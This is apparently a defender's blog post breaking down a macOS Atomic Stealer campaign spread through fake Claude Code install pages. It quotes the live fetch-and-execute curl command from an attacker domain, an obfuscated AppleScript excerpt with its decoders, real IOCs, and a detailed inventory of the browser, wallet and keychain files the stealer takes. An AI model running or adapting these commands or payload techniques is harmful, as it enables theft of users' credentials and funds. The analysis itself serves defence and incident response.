Skip to main content

Breakdown of an Ongoing macOS Infostealer Campaign

A few weeks ago, we had a rather scary EDR notification pop up in our monitoring Slack channel. It said (paraphrased):

A suspicious Unix shell command was run, we killed the process but y’all might have a problem anyway

The actual command pasted was as follows:

1/bin/bash -c #!/bin/bash curl -o /tmp/update https://raytherrien.com/n8n/update \
2 && xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update

Suspicious, indeed. Shoutout to Crowdstrike EDR for stopping this thing in its tracks – we were, in fact, fine.

Fast forward to last week, when a founder friend of mine reached out and asked if I could hop on a call. One of their engineers seemed to have run some malware on their machine, and they asked if I’d mind jumping into help with incident response. As soon as I started looking at the logs, it became pretty clear that this was the same as what I saw a few weeks prior, but my friend’s company hadn’t been so lucky. Their EDR solution had noted that this looked suspicious as all get out and set off alarm bells, but only after allowing the execution to proceed.

There is at least one, probably several, ongoing campaigns targeting users of dev tools such as Claude Code, ChatGPT Atlas, and others. The common thread in both the incidents I’ve seen and examples from across the internet such as this Reddit thread are fake install/doc sites that show up particularly in the sponsored results section of Google for terms like install claude.

We Have All Been Trained to do Stupid Things

Much has already been written about similar attacks, but the high level way they work is this:

  1. The threat actor compromises one or several Google Ads accounts (the exact mechanism will vary).
  2. They also compromise insecure domains, or register throwaway subdomains on free hosting sites. Anecdotally, a lot of the sites used appear to be individuals’ personal blogs/websites.
  3. Next, they clone documentation sites for tools such as Claude Code and place ads on Google to get their faked sites to the top of search results.
  4. The fake sites have install instructions that give you malware to run.
  5. You, the user, helpfully run the malware for the attacker.

The general process here combines the techniques of “malvertising” and “ClickFix”. It’s easy to blame the individuals who fall for this, but really, this is an industry-wide problem that has been years in the making. For a good long time, we have all been conditioned to think that curl ... | bash is a valid installation method and not a patently insane way to distribute software. Sure, it’s convenient, but this particular security bad habit is now coming home to roost in a big way.

The ongoing LLM craze means there are lots of new vibe coders and fledgling software engineers to exploit, but in both cases I saw these were not the demographic being hit; these were experienced engineers who were just in a hurry and didn’t quite stop to evaluate whether that domain did in fact look right after pasting.

So, You Ran Some Malware

Let’s talk about what happens when you actually run this malware. The below was all executed via /tmp/update from the initial compromise command, which is heavily obfuscated AppleScript. Using native tools like this is a common way to evade detection, and I’ll break down the obfuscation layer below.

  1. First, it creates a directory at /tmp/<random 5 digit id> to stage files into.
  2. It hides the terminal window to mask the other commands being run.
  3. It then reads the USER attribute so it can construct a path to the user’s home directory.
  4. It writes a file to the user’s home directory with command & control (C2) configuration.
  5. It starts harvesting files, including browser cookies, crypto wallets, notes, files from ~/Desktop and ~/Documents, password vaults, keychains, etc. If it needs the user to unlock the keychain, it pops up a fake “Required Application Helper” dialog to harvest their system password.
  6. Next, it zips up all these files into /tmp/out.zip and POSTs them to a URL from the C2 config.
  7. To persist, it installs itself via launchctl so the infostealer runs on each boot.
  8. Finally, it cleans up after itself, removing /tmp/out.zip and the staging directory.

Most of the files used have innocuous names like .username in order to help avoid scrutiny. If you didn’t have an EDR tool installed to alert on these behaviours, you’d likely never notice anything wrong until your crypto wallet was emptied.

Adventures in Obfuscation

Looking at the actual script that gets initially executed feels like someone has spiked your drink and you’ve forgotten how to read. The code is heavily obfuscated, and doing a string search won’t help you find out what was harvested. Here’s an excerpt:

 1on cdftjcxbo(ikigxsgf, ieoycfoei)
 2set sodzerodpta to ""
 3set oxebtefnj to 0
 4repeat with gufxxjwnzhaz from 1 to count of ikigxsgf
 5set oxebtefnj to (oxebtefnj + (item gufxxjwnzhaz of ikigxsgf)) mod 9999
 6set sodzerodpta to sodzerodpta & (character id ((item gufxxjwnzhaz of ikigxsgf) - (item gufxxjwnzhaz of ieoycfoei)))
 7set oxebtefnj to (oxebtefnj * 3) mod 9999
 8end repeat
 9return sodzerodpta
10end cdftjcxbo
11
12on cmbnxmjiwwr(fpwkmuyobijj, pcjvewnfyml)
13set dpruioywaxp to ""
14set mikzetljb to 1
15repeat with gnodqyefnwb from 1 to count of fpwkmuyobijj
16set mikzetljb to (mikzetljb + (item gnodqyefnwb of pcjvewnfyml)) mod 9999
17set dpruioywaxp to dpruioywaxp & (character id ((item gnodqyefnwb of fpwkmuyobijj) + (item gnodqyefnwb of pcjvewnfyml)))
18set mikzetljb to mikzetljb + 1
19end repeat
20return dpruioywaxp
21end cmbnxmjiwwr
22
23on czxucxewqe(yhkylofpi, dofhtoiddo, zkhoxipck)
24set kutavyrrjoki to ""
25set oyuuyqoiuxc to 0
26repeat with iqbrjbegq from 1 to count of yhkylofpi
27set lqgiwmzczxv to ((item iqbrjbegq of yhkylofpi) - zkhoxipck)
28set lqgiwmzczxv to lqgiwmzczxv - (item iqbrjbegq of dofhtoiddo)
29set kutavyrrjoki to kutavyrrjoki & (character id lqgiwmzczxv)
30set oyuuyqoiuxc to (oyuuyqoiuxc + lqgiwmzczxv) mod 9999
31end repeat
32return kutavyrrjoki
33end czxucxewqe
34
35on lewqomem(lrizipvij)
36	try
37		set zyasodofd to quoted form of (POSIX path of lrizipvij)
38		do shell script (cdftjcxbo({305, 186, 278, 283, 321, 88, 117, 167, 240}, {196, 79, 178, 178, 207, 56, 72, 55, 208})) & zyasodofd
39	end try
40end lewqomem
41
42on imxovxyrmjr(uhnbyobcd)
43	try
44		set abuscytik to POSIX file uhnbyobcd
45		set pyrykioedj to read abuscytik
46		return pyrykioedj
47	end try
48	return ""
49end imxovxyrmjr

The key magic is the three functions defined at the top: all strings used in this malware are hidden as arrays of numbers, which correspond to ASCII character IDs. The three functions cdftjcxbo, cmbnxmjiwwr, and czxucxewqe return strings from two arrays of numbers by either adding, subtracting, or adding with a constant the Nth item in each list. There are also some dummy variables in there that appear to exist solely to make behavioural analysis harder; they’re calculated and updated but never read or returned. Let’s look at one of these in detail:

 1on cmbnxmjiwwr(fpwkmuyobijj, pcjvewnfyml)
 2	set dpruioywaxp to ""
 3	set mikzetljb to 1
 4	repeat with gnodqyefnwb from 1 to count of fpwkmuyobijj
 5		set mikzetljb to (mikzetljb + (item gnodqyefnwb of pcjvewnfyml)) mod 9999
 6		set dpruioywaxp to dpruioywaxp & (character id ((item gnodqyefnwb of fpwkmuyobijj) + (item gnodqyefnwb of pcjvewnfyml)))
 7		set mikzetljb to mikzetljb + 1
 8	end repeat
 9	return dpruioywaxp
10end cmbnxmjiwwr

This function builds a string by adding the contents of two arrays. If we transpose this to Python and rename the variables, it looks something like this:

 1def string_by_adding(a: list[int], b: list[int]) -> str:
 2    out = ""
 3    dummy_var = 1
 4
 5    for i in range(0, len(a)):
 6        dummy_var = (dummy_var + b[i]) % 9999
 7        out += chr(a[i] + b[i])
 8        dummy_var += 1
 9
10    return out

Our malware makes these calls all over the place and takes advantage of the fact that AppleScript makes strings executable via e.g. shell script (cdftjcxbo({305, 186, 278, 283, 321, 88, 117, 167, 240}, {196, 79, 178, 178, 207, 56, 72, 55, 208})).

Here’s an example call:

1cmbnxmjiwwr(
2    {198, 38, 31, 95, 168, 35, 242, 142, 28, 19, 116, 3, 10, 9, 163}, 
3    {-97, 78, 66, 14, -71, 80, -135, -96, 77, 92, -24, 31, 48, 83, -129}
4)

This returns a fragmented string of "etamask.io\\\":\\\""

Doing this exhaustively for all the strings in the massive malware script feels like a Herculean task. Luckily for us, defenders get to play with LLMs too. Claude Opus 4.6 whipped up a Python tool that extracted all the strings and then helpfully categorized them into a breakdown (included below in Appendix A). This gave us a good way to assess the full blast radius of this incident, even if the full blast radius was horrifying.

Going Atomic

Doing some digging post-incident, I discovered that this appears to be a particular strain of well-known malware Atomic Stealer. There have been various iterations of this going back to 2023, but the gist of it is this:

Atomic Stealer (also referred to as AMOS - Atomic macOS Stealer) is marketed on Telegram as a Malware-as-a-Service platform, with costs ranging from $1000-$3000 a month. Users get access to various binaries as well as a dashboard system to monitor logs and stolen info, but C2 and distribution are up to them.

Persistence is (relatively) new to AMOS, and previous variants were largely smash-and-grab to avoid triggering system notifications when new login items are added.

Research by other more official firms and not just Some Dude like me shows that this a growing attack vector:

Additionally, there are lots of links for further reading over at malpedia.

Indicators of Compromise

This is almost certainly an AMOS affiliate campaign - I’m not certain that both instances I’ve seen were actually the same campaign since we halted execution in one case, but the successful execution made references to a campaign ID of wusetail.com, and had avipstudios.com as a fallback C2 domain. Data exfiltration happened to 38.244.158.103 which is located in the Netherlands. In both cases, the initial payload domain differed, but the path was /n8n/update.

Darktrace’s research also noted an IP located in the Netherlands but on a different ASN. What was the same was the exfiltration path of /api/tasks/<base64 string>.

Since this is a fairly “standard” malware, most EDR vendors should have good IOCs in general here.

Lessons Learned

Overall, this was not nearly as bad as it could have been. While this was an early-stage startup where things are typically pretty Wild West, they had overall good practices that really reduced the impact:

  • The engineer in question didn’t have direct, persistent access to customer data.
  • They had a comprehensive list of systems the employee could access, which meant suspending accounts was easy.
  • 2FA on everything and a password manager (beyond the built in browser one) limited stolen credential impact.
  • EDR did identify this in short order, even if it didn’t halt execution. This could have gone on for a long time otherwise.

Incident response plans should assume this kind of compromise is a “when” not “if” question, and you should build out your IAM and monitoring strategies accordingly.

And for goodness sake please stop piping curl into bash.

Appendix A: What Was Taken

Browser Data (Chromium-based)

The malware targets 12 Chromium-based browsers, stealing the following files from each profile:

File Contents
/Cookies and /Network/Cookies Session cookies, authentication tokens
/Login Data Saved usernames and passwords
/Web Data Autofill data, saved credit cards
/Local Extension Settings/ Extension data (targeted by extension ID)
/IndexedDB/ Extension databases
/Local Storage/leveldb/ Extension local storage
/History Browsing history (conditional)

Targeted Chromium browsers:

Browser Profile Path
Chrome Google/Chrome/
Brave BraveSoftware/Brave-Browser/
Microsoft Edge Microsoft Edge/
Vivaldi Vivaldi/
Opera com.operasoftware.Opera/
Opera GX com.operasoftware.OperaGX/
Chrome Beta Google/Chrome Beta/
Chrome Canary Google/Chrome Canary
Chrome Dev Google/Chrome Dev/
Chromium Chromium/
Arc Arc/User Data/
CocCoc CocCoc/Browser/

Browser Data (Firefox-based)

For Firefox and Waterfox, it steals:

File Contents
/cookies.sqlite Cookies
/formhistory.sqlite Form autofill history
/key4.db Encryption keys for saved passwords
/logins.json Encrypted saved passwords
/places.sqlite Bookmarks and history (conditional)

It also specifically searches Firefox profiles for the MetaMask extension (webextension@metamask.io) and copies its IDB storage if found.

Targeted Browser Extension IDs (321 total)

The xsaqtqzhnj property contains 321 Chrome extension IDs. When found in a browser profile’s Local Extension Settings or IndexedDB directories, their data is exfiltrated. These are almost certainly cryptocurrency wallet extensions, including but not limited to MetaMask and similar wallet/DeFi extensions. The malware checks for these extension IDs across all Chromium browser profiles.

Cryptocurrency Wallet Applications

The malware specifically targets standalone wallet applications:

Wallet Path Stolen
Electrum ~/.electrum/wallets/
Coinomi Coinomi/wallets/
Exodus Exodus/
Atomic Wallet atomic/Local Storage/leveldb/
Wasabi Wallet ~/.walletwasabi/client/Wallets/
Ledger Live Ledger Live/
Monero ~/Monero/wallets/
Bitcoin Core Bitcoin/wallets/
Litecoin Core Litecoin/wallets/
Dash Core DashCore/wallets/
Electrum-LTC ~/.electrum-ltc/wallets/
Electron Cash ~/.electron-cash/wallets/
Guarda Guarda/
Dogecoin Core Dogecoin/wallets/
Trezor Suite @trezor/suite-desktop/
Sparrow ~/.sparrow/wallets/

Hardware Wallet Application Data

The malware checks if these apps are installed and extracts their application data:

  • Ledger Wallet — checks /Applications/Ledger Wallet.app
  • Trezor Suite — checks /Applications/Trezor Suite.app
  • Exodus — checks /Applications/Exodus.app

For each, it creates marker files, writes a configuration payload, and copies wallet data directories.

Safari Data

  • ~/Library/Cookies/Cookies.binarycookies — Safari cookies
  • ~/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies — Sandboxed Safari cookies
  • ~/Library/Safari/Form Values — Safari autofill form data

Apple Notes

Uses AppleScript’s Notes application interface to:

  • Enumerate all accounts and notes
  • Extract creation date and body of every note
  • Save to FileGrabber/notes.html with note count header
  • Also copies the raw NoteStore SQLite databases:
    • NoteStore.sqlite
    • NoteStore.sqlite-shm
    • NoteStore.sqlite-wal
  • Copies note media attachments (up to 30 MB)

Keychain

  • Copies the user’s keychain directory identified by hardware UUID
  • The hardware UUID is obtained via: system_profiler SPHardwareDataType | awk "/UUID/ { print $3 }"

Telegram Data

  • Copies from Telegram Desktop/tdata/
  • Specifically targets key_datas login file
  • Searches for paired files (e.g., a file and its s suffix counterpart)
  • Output stored in Telegram Data/ directory

OpenVPN Data

  • Copies from OpenVPN Connect/profiles/

Personal Documents (FileGrabber)

Scans Desktop and Documents folders for files with these extensions (up to 30 MB total):

Extension Type
.txt Text files
.pdf PDF documents
.docx Word documents
.doc Legacy Word documents
.rtf Rich text files
.key Key files
.keys Key files
.wallet Wallet files
.kdbx KeePass databases
.jpeg / .jpg Photos
.png Images
.seed Seed phrase files

Other Data Collected

  • Installed applications list — enumerates /Applications
  • System profile — hardware, software, display information
  • Mounted volumes — lists connected drives